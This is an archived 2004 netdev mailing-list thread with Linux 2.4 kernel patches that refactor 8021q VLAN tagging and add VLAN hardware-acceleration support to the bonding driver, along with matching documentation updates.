netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Now, that 2.4.25 is out, I'm resending the enhancements for VLAN over bonding. Tested for patch application and compilation against linux-2.4.25. Summary: Make the regular/HW accelerated xmit functions in the 8021q module use the new set VLAN tag functionality to reduce code duplication. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/net/8021q/vlan_dev.c b/net/8021q/vlan_dev.c --- a/net/8021q/vlan_dev.c Wed Jan 21 16:55:02 2004 +++ b/net/8021q/vlan_dev.c Wed Jan 21 16:55:04 2004 @@ -446,6 +446,7 @@ int vlan_dev_hard_start_xmit(struct sk_b */ if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + int orig_headroom = skb_headroom(skb); unsigned short veth_TCI; /* This is not a VLAN frame...but we can fix that! */ @@ -455,33 +456,7 @@ int vlan_dev_hard_start_xmit(struct sk_b printk(VLAN_DBG "%s: proto to encap: 0x%hx (hbo)\n", __FUNCTION__, htons(veth->h_vlan_proto)); #endif - - if (skb_headroom(skb) < VLAN_HLEN) { - struct sk_buff *sk_tmp = skb; - skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); - kfree_skb(sk_tmp); - if (skb == NULL) { - stats->tx_dropped++; - return 0; - } - VLAN_DEV_INFO(dev)->cnt_inc_headroom_on_tx++; - } else { - if (!(skb = skb_unshare(skb, GFP_ATOMIC))) { - printk(KERN_ERR "vlan: failed to unshare skbuff\n"); - stats->tx_dropped++; - return 0; - } - } - veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); - - /* Move the mac addresses to the beginning of the new header. */ - memmove(skb->data, skb->data + VLAN_HLEN, 12); - - /* first, the ethernet type */ - /* put_unaligned(__constant_htons(ETH_P_8021Q), &veth->h_vlan_proto); */ - veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); - - /* Now, construct the second two bytes. This field looks something + /* Construct the second two bytes. This field looks something * like: * usr_priority: 3 bits (high bits) * CFI 1 bit @@ -490,10 +465,16 @@ int vlan_dev_hard_start_xmit(struct sk_b veth_TCI = VLAN_DEV_INFO(dev)->vlan_id; veth_TCI |= vlan_dev_get_egress_qos_mask(dev, skb); - veth->h_vlan_TCI = htons(veth_TCI); - } + skb = __vlan_put_tag(skb, veth_TCI); + if (!skb) { + stats->tx_dropped++; + return 0; + } - skb->dev = VLAN_DEV_INFO(dev)->real_dev; + if (orig_headroom < VLAN_HLEN) { + VLAN_DEV_INFO(dev)->cnt_inc_headroom_on_tx++; + } + } #ifdef VLAN_DEBUG printk(VLAN_DBG "%s: about to send skb: %p to dev: %s\n", @@ -507,6 +488,7 @@ int vlan_dev_hard_start_xmit(struct sk_b stats->tx_packets++; /* for statics only */ stats->tx_bytes += skb->len; + skb->dev = VLAN_DEV_INFO(dev)->real_dev; dev_queue_xmit(skb); return 0; @@ -515,17 +497,22 @@ int vlan_dev_hard_start_xmit(struct sk_b int vlan_dev_hwaccel_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct net_device_stats *stats = vlan_dev_get_stats(dev); - struct vlan_skb_tx_cookie *cookie; + unsigned short veth_TCI; + + /* Construct the second two bytes. This field looks something + * like: + * usr_priority: 3 bits (high bits) + * CFI 1 bit + * VLAN ID 12 bits (low bits) + */ + veth_TCI = VLAN_DEV_INFO(dev)->vlan_id; + veth_TCI |= vlan_dev_get_egress_qos_mask(dev, skb); + skb = __vlan_hwaccel_put_tag(skb, veth_TCI); stats->tx_packets++; stats->tx_bytes += skb->len; skb->dev = VLAN_DEV_INFO(dev)->real_dev; - cookie = VLAN_TX_SKB_CB(skb); - cookie->magic = VLAN_TX_COOKIE_MAGIC; - cookie->vlan_tag = (VLAN_DEV_INFO(dev)->vlan_id | - vlan_dev_get_egress_qos_mask(dev, skb)); - dev_queue_xmit(skb); return 0; From shmulik.hen@intel.com Thu Feb 19 02:14:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 02:15:03 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JAEuKO021953 for ; Thu, 19 Feb 2004 02:14:57 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1JACUiP022787; Thu, 19 Feb 2004 10:12:30 GMT Received: from fmsmsxv041-1.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1JAGRIQ016938; Thu, 19 Feb 2004 10:16:45 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxv041-1.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004021902144014627 ; Thu, 19 Feb 2004 02:14:41 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" , "Jeff Garzik" Subject: [PATCH 1/3][bonding 2.4] Add support for HW accel. slaves Date: Thu, 19 Feb 2004 12:14:37 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" , "bonding-devel" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402191214.39269.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3398 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Now, that 2.4.25 is out, I'm resending the enhancements for VLAN over bonding. Tested for patch application and compilation against latest netdev-2.4 BK tree (assuming the previous 3 patches are already applied). Summary: Change the bond interface to publish full VLAN hardware acceleration offloading capabilities, and add capability in all xmit functions to take special care for VLAN HW accel. tagged skb's that are going out through a slave that is not offloading capable. Add a mechanism to collect and save the VLAN Id's that have been added on top of a bond interface, and propagate the register/add/kill operations to the slaves. Add blocking mechanism to prevent adding VLAN interfaces on top of a bond that contains VLAN challenged slaves and to prevent adding VLAN challenged slaves to a bond that already has VLAN interfaces on top of it. Add a section about VLAN to Documentation/networking/bonding.txt and also correct some minor spelling/grammer errors. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/Documentation/networking/bonding.txt b/Documentation/networking/bonding.txt --- a/Documentation/networking/bonding.txt Wed Jan 21 16:55:06 2004 +++ b/Documentation/networking/bonding.txt Wed Jan 21 16:55:08 2004 @@ -31,6 +31,7 @@ Verifying Bond Configuration Frequently Asked Questions High Availability Promiscuous Sniffing notes +8021q VLAN support Limitations Resources and Links @@ -140,10 +141,6 @@ probeall bond0 eth0 eth1 bonding Be careful not to reference bond0 itself at the end of the line, or modprobe will die in an endless recursive loop. -To have device characteristics (such as MTU size) propagate to slave devices, -set the bond characteristics before enslaving the device. The characteristics -are propagated during the enslave process. - If running SNMP agents, the bonding driver should be loaded before any network drivers participating in a bond. This requirement is due to the the interface index (ipAdEntIfIndex) being associated to the first interface found with a @@ -601,7 +598,7 @@ Frequently Asked Questions For ethernet cards not supporting MII status, the arp_interval and arp_ip_target parameters must be specified for bonding to work correctly. If packets have not been sent or received during the - specified arp_interval durration, an ARP request is sent to the + specified arp_interval duration, an ARP request is sent to the targets to generate send and receive traffic. If after this interval, either the successful send and/or receive count has not incremented, the next slave in the sequence will become the active @@ -669,16 +666,8 @@ Frequently Asked Questions that will be added. To restore your slaves' MAC addresses, you need to detach them - from the bond (`ifenslave -d bond0 eth0'), set them down - (`ifconfig eth0 down'), unload the drivers (`rmmod 3c59x', for - example) and reload them to get the MAC addresses from their - eeproms. If the driver is shared by several devices, you need - to turn them all down. Another solution is to look for the MAC - address at boot time (dmesg or tail /var/log/messages) and to - reset it by hand with ifconfig : - - # ifconfig eth0 down - # ifconfig eth0 hw ether 00:20:40:60:80:A0 + from the bond (`ifenslave -d bond0 eth0'). The bonding driver will then + restore the MAC addresses that the slaves had before they were enslaved. 9. Which transmit polices can be used? @@ -843,7 +832,7 @@ point of failure" solution. In this configuration, there is an ISL - Inter Switch Link (could be a trunk), several servers (host1, host2 ...) attached to both switches each, and one or -more ports to the outside world (port3...). One an only one slave on each host +more ports to the outside world (port3...). One and only one slave on each host is active at a time, while all links are still monitored (the system can detect a failure of active and backup links). @@ -933,6 +922,41 @@ capacity aggregating; but it works fine just ignore all the warnings it emits. +8021q VLAN support +================== + +It is possible to configure VLAN devices over a bond interface using the 8021q +driver. However, only packets coming from the 8021q driver and passing through +bonding will be tagged by default. Self generated packets, like bonding's +learning packets or ARP packets generated by either ALB mode or the ARP +monitor mechanism, are tagged internally by bonding itself. As a result, +bonding has to "learn" what VLAN IDs are configured on top of it, and it uses +those IDs to tag self generated packets. + +For simplicity reasons, and to support the use of adapters that can do VLAN +hardware acceleration offloding, the bonding interface declares itself as +fully hardware offloaing capable, it gets the add_vid/kill_vid notifications +to gather the necessary information, and it propagates those actions to the +slaves. +In case of mixed adapter types, hardware accelerated tagged packets that should +go through an adapter that is not offloading capable are "un-accelerated" by the +bonding driver so the VLAN tag sits in the regular location. + +VLAN interfaces *must* be added on top of a bonding interface only after +enslaving at least one slave. This is because until the first slave is added the +bonding interface has a HW address of 00:00:00:00:00:00, which will be copied by +the VLAN interface when it is created. + +Notice that a problem would occur if all slaves are released from a bond that +still has VLAN interfaces on top of it. When later coming to add new slaves, the +bonding interface would get a HW address from the first slave, which might not +match that of the VLAN interfaces. It is recommended that either all VLANs are +removed and then re-added, or to manually set the bonding interface's HW +address so it matches the VLAN's. (Note: changing a VLAN interface's HW address +would set the underlying device -- i.e. the bonding interface -- to promiscouos +mode, which might not be what you want). + + Limitations =========== The main limitations are : diff -Nuarp a/drivers/net/bonding/bond_3ad.c b/drivers/net/bonding/bond_3ad.c --- a/drivers/net/bonding/bond_3ad.c Wed Jan 21 16:55:06 2004 +++ b/drivers/net/bonding/bond_3ad.c Wed Jan 21 16:55:08 2004 @@ -2362,6 +2362,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk int agg_id; int i; struct ad_info ad_info; + int res = 1; /* make sure that the slaves list will * not change during tx @@ -2369,12 +2370,12 @@ int bond_3ad_xmit_xor(struct sk_buff *sk read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } if (bond_3ad_get_active_agg_info(bond, &ad_info)) { printk(KERN_DEBUG "ERROR: bond_3ad_get_active_agg_info failed\n"); - goto free_out; + goto out; } slaves_in_agg = ad_info.ports; @@ -2383,7 +2384,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk if (slaves_in_agg == 0) { /*the aggregator is empty*/ printk(KERN_DEBUG "ERROR: active aggregator is empty\n"); - goto free_out; + goto out; } slave_agg_no = (data->h_dest[5]^bond->dev->dev_addr[5]) % slaves_in_agg; @@ -2401,7 +2402,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk if (slave_agg_no >= 0) { printk(KERN_ERR DRV_NAME ": Error: Couldn't find a slave to tx on for aggregator ID %d\n", agg_id); - goto free_out; + goto out; } start_at = slave; @@ -2414,24 +2415,19 @@ int bond_3ad_xmit_xor(struct sk_buff *sk slave_agg_id = agg->aggregator_identifier; } - if (SLAVE_IS_OK(slave) && - agg && (slave_agg_id == agg_id)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - - goto out; + if (SLAVE_IS_OK(slave) && agg && (slave_agg_id == agg_id)) { + res = bond_dev_queue_xmit(bond, skb, slave->dev); + break; } } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } int bond_3ad_lacpdu_recv(struct sk_buff *skb, struct net_device *dev, struct packet_type* ptype) diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:06 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:08 2004 @@ -1194,6 +1194,7 @@ int bond_alb_xmit(struct sk_buff *skb, s int do_tx_balance = 1; u32 hash_index = 0; u8 *hash_start = NULL; + int res = 1; /* make sure that the curr_active_slave and the slaves list do * not change during tx @@ -1202,7 +1203,7 @@ int bond_alb_xmit(struct sk_buff *skb, s read_lock(&bond->curr_slave_lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } switch (ntohs(skb->protocol)) { @@ -1267,29 +1268,27 @@ int bond_alb_xmit(struct sk_buff *skb, s } if (tx_slave && SLAVE_IS_OK(tx_slave)) { - skb->dev = tx_slave->dev; if (tx_slave != bond->curr_active_slave) { memcpy(eth_data->h_source, tx_slave->dev->dev_addr, ETH_ALEN); } - dev_queue_xmit(skb); + + res = bond_dev_queue_xmit(bond, skb, tx_slave->dev); } else { - /* no suitable interface, frame not sent */ if (tx_slave) { tlb_clear_slave(bond, tx_slave, 0); } - goto free_out; } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->curr_slave_lock); read_unlock(&bond->lock); return 0; - -free_out: - dev_kfree_skb(skb); - goto out; } void bond_alb_monitor(struct bonding *bond) diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:06 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:08 2004 @@ -502,6 +502,7 @@ #include #include #include +#include #include #include "bonding.h" #include "bond_3ad.h" @@ -620,6 +621,330 @@ static const char *bond_mode_name(int mo } } +/*---------------------------------- VLAN -----------------------------------*/ + +/** + * bond_add_vlan - add a new vlan id on bond + * @bond: bond that got the notification + * @vlan_id: the vlan id to add + * + * Returns -ENOMEM if allocation failed. + */ +static int bond_add_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct vlan_entry *vlan; + + dprintk("bond: %s, vlan id %d\n", + (bond ? bond->dev->name: "None"), vlan_id); + + vlan = kmalloc(sizeof(struct vlan_entry), GFP_KERNEL); + if (!vlan) { + return -ENOMEM; + } + + INIT_LIST_HEAD(&vlan->vlan_list); + vlan->vlan_id = vlan_id; + + write_lock_bh(&bond->lock); + + list_add_tail(&vlan->vlan_list, &bond->vlan_list); + + write_unlock_bh(&bond->lock); + + dprintk("added VLAN ID %d on bond %s\n", vlan_id, bond->dev->name); + + return 0; +} + +/** + * bond_del_vlan - delete a vlan id from bond + * @bond: bond that got the notification + * @vlan_id: the vlan id to delete + * + * returns -ENODEV if @vlan_id was not found in @bond. + */ +static int bond_del_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct vlan_entry *vlan, *next; + int res = -ENODEV; + + dprintk("bond: %s, vlan id %d\n", bond->dev->name, vlan_id); + + write_lock_bh(&bond->lock); + + list_for_each_entry_safe(vlan, next, &bond->vlan_list, vlan_list) { + if (vlan->vlan_id == vlan_id) { + list_del(&vlan->vlan_list); + + dprintk("removed VLAN ID %d from bond %s\n", vlan_id, + bond->dev->name); + + kfree(vlan); + + if (list_empty(&bond->vlan_list) && + (bond->slave_cnt == 0)) { + /* Last VLAN removed and no slaves, so + * restore block on adding VLANs. This will + * be removed once new slaves that are not + * VLAN challenged will be added. + */ + bond->dev->features |= NETIF_F_VLAN_CHALLENGED; + } + + res = 0; + goto out; + } + } + + dprintk("couldn't find VLAN ID %d in bond %s\n", vlan_id, + bond->dev->name); + +out: + write_unlock_bh(&bond->lock); + return res; +} + +/** + * bond_has_challenged_slaves + * @bond: the bond we're working on + * + * Searches the slave list. Returns 1 if a vlan challenged slave + * was found, 0 otherwise. + * + * Assumes bond->lock is held. + */ +static int bond_has_challenged_slaves(struct bonding *bond) +{ + struct slave *slave; + int i; + + bond_for_each_slave(bond, slave, i) { + if (slave->dev->features & NETIF_F_VLAN_CHALLENGED) { + dprintk("found VLAN challenged slave - %s\n", + slave->dev->name); + return 1; + } + } + + dprintk("no VLAN challenged slaves found\n"); + return 0; +} + +/** + * bond_dev_queue_xmit - Prepare skb for xmit. + * + * @bond: bond device that got this skb for tx. + * @skb: hw accel VLAN tagged skb to transmit + * @slave_dev: slave that is supposed to xmit this skbuff + * + * When the bond gets an skb to tarnsmit that is + * already hardware accelerated VLAN tagged, and it + * needs to relay this skb to a slave that is not + * hw accel capable, the skb needs to be "unaccelerated", + * i.e. strip the hwaccel tag and re-insert it as part + * of the payload. + * + * Assumption - once a VLAN device is created over the bond device, all + * packets are going to be hardware accelerated VLAN tagged since the IP + * binding is done over the VLAN device + */ +int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev) +{ + unsigned short vlan_id; + int res; + + if (!list_empty(&bond->vlan_list) && + !(slave_dev->features & NETIF_F_HW_VLAN_TX)) { + res = vlan_get_tag(skb, &vlan_id); + if (res) { + return -EINVAL; + } + + skb->dev = slave_dev; + skb = vlan_put_tag(skb, vlan_id); + if (!skb) { + /* vlan_put_tag() frees the skb in case of error, + * so return success here so the calling functions + * won't attempt to free is again. + */ + return 0; + } + } else { + skb->dev = slave_dev; + } + + skb->priority = 1; + dev_queue_xmit(skb); + + return 0; +} + +/* + * In the following 3 functions, bond_vlan_rx_register(), bond_vlan_rx_add_vid + * and bond_vlan_rx_kill_vid, We don't protect the slave list iteration with a + * lock because: + * a. This operation is performed in IOCTL context, + * b. The operation is protected by the RTNL semaphore in the 8021q code, + * c. Holding a lock with BH disabled while directly calling a base driver + * entry point is generally a BAD idea. + * + * The design of synchronization/protection for this operation in the 8021q + * module is good for one or more VLAN devices over a single physical device + * and cannot be extended for a teaming solution like bonding, so there is a + * potential race condition here where a net device from the vlan group might + * be referenced (either by a base driver or the 8021q code) while it is being + * removed from the system. However, it turns out we're not making matters + * worse, and if it works for regular VLAN usage it will work here too. +*/ + +/** + * bond_vlan_rx_register - Propagates registration to slaves + * @bond_dev: bonding net device that got called + * @grp: vlan group being registered + */ +static void bond_vlan_rx_register(struct net_device *bond_dev, struct vlan_group *grp) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + int i; + + bond->vlgrp = grp; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, grp); + } + } +} + +/** + * bond_vlan_rx_add_vid - Propagates adding an id to slaves + * @bond_dev: bonding net device that got called + * @vid: vlan id being added + */ +static void bond_vlan_rx_add_vid(struct net_device *bond_dev, uint16_t vid) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + int i, res; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_FILTER) && + slave_dev->vlan_rx_add_vid) { + slave_dev->vlan_rx_add_vid(slave_dev, vid); + } + } + + res = bond_add_vlan(bond, vid); + if (res) { + printk(KERN_ERR DRV_NAME + ": %s: Failed to add vlan id %d\n", + bond_dev->name, vid); + } +} + +/** + * bond_vlan_rx_kill_vid - Propagates deleting an id to slaves + * @bond_dev: bonding net device that got called + * @vid: vlan id being removed + */ +static void bond_vlan_rx_kill_vid(struct net_device *bond_dev, uint16_t vid) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + struct net_device *vlan_dev; + int i, res; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_FILTER) && + slave_dev->vlan_rx_kill_vid) { + /* Save and then restore vlan_dev in the grp array, + * since the slave's driver might clear it. + */ + vlan_dev = bond->vlgrp->vlan_devices[vid]; + slave_dev->vlan_rx_kill_vid(slave_dev, vid); + bond->vlgrp->vlan_devices[vid] = vlan_dev; + } + } + + res = bond_del_vlan(bond, vid); + if (res) { + printk(KERN_ERR DRV_NAME + ": %s: Failed to remove vlan id %d\n", + bond_dev->name, vid); + } +} + +static void bond_add_vlans_on_slave(struct bonding *bond, struct net_device *slave_dev) +{ + struct vlan_entry *vlan; + + write_lock_bh(&bond->lock); + + if (list_empty(&bond->vlan_list)) { + goto out; + } + + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, bond->vlgrp); + } + + if (!(slave_dev->features & NETIF_F_HW_VLAN_FILTER) || + !(slave_dev->vlan_rx_add_vid)) { + goto out; + } + + list_for_each_entry(vlan, &bond->vlan_list, vlan_list) { + slave_dev->vlan_rx_add_vid(slave_dev, vlan->vlan_id); + } + +out: + write_unlock_bh(&bond->lock); +} + +static void bond_del_vlans_from_slave(struct bonding *bond, struct net_device *slave_dev) +{ + struct vlan_entry *vlan; + struct net_device *vlan_dev; + + write_lock_bh(&bond->lock); + + if (list_empty(&bond->vlan_list)) { + goto out; + } + + if (!(slave_dev->features & NETIF_F_HW_VLAN_FILTER) || + !(slave_dev->vlan_rx_kill_vid)) { + goto unreg; + } + + list_for_each_entry(vlan, &bond->vlan_list, vlan_list) { + /* Save and then restore vlan_dev in the grp array, + * since the slave's driver might clear it. + */ + vlan_dev = bond->vlgrp->vlan_devices[vlan->vlan_id]; + slave_dev->vlan_rx_kill_vid(slave_dev, vlan->vlan_id); + bond->vlgrp->vlan_devices[vlan->vlan_id] = vlan_dev; + } + +unreg: + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, NULL); + } + +out: + write_unlock_bh(&bond->lock); +} + /*------------------------------- Link status -------------------------------*/ /* @@ -1214,6 +1539,7 @@ static int bond_enslave(struct net_devic struct dev_mc_list *dmi; struct sockaddr addr; int link_reporting; + int old_features = bond_dev->features; int res = 0; if (slave_dev->do_ioctl == NULL) { @@ -1234,6 +1560,36 @@ static int bond_enslave(struct net_devic return -EBUSY; } + /* vlan challenged mutual exclusion */ + /* no need to lock since we're protected by rtnl_lock */ + if (slave_dev->features & NETIF_F_VLAN_CHALLENGED) { + dprintk("%s: NETIF_F_VLAN_CHALLENGED\n", slave_dev->name); + if (!list_empty(&bond->vlan_list)) { + printk(KERN_ERR DRV_NAME + ": Error: cannot enslave VLAN " + "challenged slave %s on VLAN enabled " + "bond %s\n", slave_dev->name, + bond_dev->name); + return -EPERM; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: enslaved VLAN challenged " + "slave %s. Adding VLANs will be blocked as " + "long as %s is part of bond %s\n", + slave_dev->name, slave_dev->name, + bond_dev->name); + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } + } else { + dprintk("%s: ! NETIF_F_VLAN_CHALLENGED\n", slave_dev->name); + if (bond->slave_cnt == 0) { + /* First slave, and it is not VLAN challenged, + * so remove the block of adding VLANs over the bond. + */ + bond_dev->features &= ~NETIF_F_VLAN_CHALLENGED; + } + } + if (app_abi_ver >= 1) { /* The application is using an ABI, which requires the * slave interface to be closed. @@ -1242,7 +1598,8 @@ static int bond_enslave(struct net_devic printk(KERN_ERR DRV_NAME ": Error: %s is up\n", slave_dev->name); - return -EPERM; + res = -EPERM; + goto err_undo_flags; } if (slave_dev->set_mac_address == NULL) { @@ -1253,7 +1610,8 @@ static int bond_enslave(struct net_devic "Your kernel likely does not support slave " "devices.\n"); - return -EOPNOTSUPP; + res = -EOPNOTSUPP; + goto err_undo_flags; } } else { /* The application is not using an ABI, which requires the @@ -1263,7 +1621,8 @@ static int bond_enslave(struct net_devic printk(KERN_ERR DRV_NAME ": Error: %s is not running\n", slave_dev->name); - return -EINVAL; + res = -EINVAL; + goto err_undo_flags; } if ((bond->params.mode == BOND_MODE_8023AD) || @@ -1273,13 +1632,15 @@ static int bond_enslave(struct net_devic ": Error: to use %s mode, you must upgrade " "ifenslave.\n", bond_mode_name(bond->params.mode)); - return -EOPNOTSUPP; + res = -EOPNOTSUPP; + goto err_undo_flags; } } new_slave = kmalloc(sizeof(struct slave), GFP_KERNEL); if (!new_slave) { - return -ENOMEM; + res = -ENOMEM; + goto err_undo_flags; } memset(new_slave, 0, sizeof(struct slave)); @@ -1368,6 +1729,8 @@ static int bond_enslave(struct net_devic dev_mc_add(slave_dev, lacpdu_multicast, ETH_ALEN, 0); } + bond_add_vlans_on_slave(bond, slave_dev); + write_lock_bh(&bond->lock); bond_attach_slave(bond, new_slave); @@ -1576,6 +1939,10 @@ err_restore_mac: err_free: kfree(new_slave); + +err_undo_flags: + bond_dev->features = old_features; + return res; } @@ -1689,8 +2056,37 @@ static int bond_release(struct net_devic } } + if (bond->slave_cnt == 0) { + /* if the last slave was removed, zero the mac address + * of the master so it will be set by the application + * to the mac address of the first slave + */ + memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + + if (list_empty(&bond->vlan_list)) { + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: clearing HW address of %s while it " + "still has VLANs.\n", + bond_dev->name); + printk(KERN_WARNING DRV_NAME + ": When re-adding slaves, make sure the bond's " + "HW address matches its VLANs'.\n"); + } + } else if ((bond_dev->features & NETIF_F_VLAN_CHALLENGED) && + !bond_has_challenged_slaves(bond)) { + printk(KERN_INFO DRV_NAME + ": last VLAN challenged slave %s " + "left bond %s. VLAN blocking is removed\n", + slave_dev->name, bond_dev->name); + bond_dev->features &= ~NETIF_F_VLAN_CHALLENGED; + } + write_unlock_bh(&bond->lock); + bond_del_vlans_from_slave(bond, slave_dev); + /* If the mode USES_PRIMARY, then we should only remove its * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave @@ -1732,14 +2128,6 @@ static int bond_release(struct net_devic kfree(slave); - /* if the last slave was removed, zero the mac address - * of the master so it will be set by the application - * to the mac address of the first slave - */ - if (bond->slave_cnt == 0) { - memset(bond_dev->dev_addr, 0, bond_dev->addr_len); - } - return 0; /* deletion OK */ } @@ -1788,6 +2176,8 @@ static int bond_release_all(struct net_d */ write_unlock_bh(&bond->lock); + bond_del_vlans_from_slave(bond, slave_dev); + /* If the mode USES_PRIMARY, then we should only remove its * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave @@ -1838,6 +2228,18 @@ static int bond_release_all(struct net_d */ memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + if (list_empty(&bond->vlan_list)) { + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: clearing HW address of %s while it " + "still has VLANs.\n", + bond_dev->name); + printk(KERN_WARNING DRV_NAME + ": When re-adding slaves, make sure the bond's " + "HW address matches its VLANs'.\n"); + } + printk(KERN_INFO DRV_NAME ": %s: released all slaves\n", bond_dev->name); @@ -3570,11 +3972,12 @@ static int bond_xmit_roundrobin(struct s struct bonding *bond = bond_dev->priv; struct slave *slave, *start_at; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } read_lock(&bond->curr_slave_lock); @@ -3582,33 +3985,31 @@ static int bond_xmit_roundrobin(struct s read_unlock(&bond->curr_slave_lock); if (!slave) { - goto free_out; + goto out; } bond_for_each_slave_from(bond, slave, i, start_at) { if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); + res = bond_dev_queue_xmit(bond, skb, slave->dev); write_lock(&bond->curr_slave_lock); bond->curr_active_slave = slave->next; write_unlock(&bond->curr_slave_lock); - goto out; + break; } } + out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3618,6 +4019,7 @@ free_out: static int bond_xmit_activebackup(struct sk_buff *skb, struct net_device *bond_dev) { struct bonding *bond = bond_dev->priv; + int res = 1; /* if we are sending arp packets, try to at least identify our own ip address */ @@ -3634,26 +4036,21 @@ static int bond_xmit_activebackup(struct read_lock(&bond->curr_slave_lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } if (bond->curr_active_slave) { /* one usable interface */ - skb->dev = bond->curr_active_slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - goto out; - } else { - goto free_out; + res = bond_dev_queue_xmit(bond, skb, bond->curr_active_slave->dev); } + out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->curr_slave_lock); read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3668,11 +4065,12 @@ static int bond_xmit_xor(struct sk_buff struct slave *slave, *start_at; int slave_no; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; @@ -3690,22 +4088,18 @@ static int bond_xmit_xor(struct sk_buff if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - - goto out; + res = bond_dev_queue_xmit(bond, skb, slave->dev); + break; } } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - 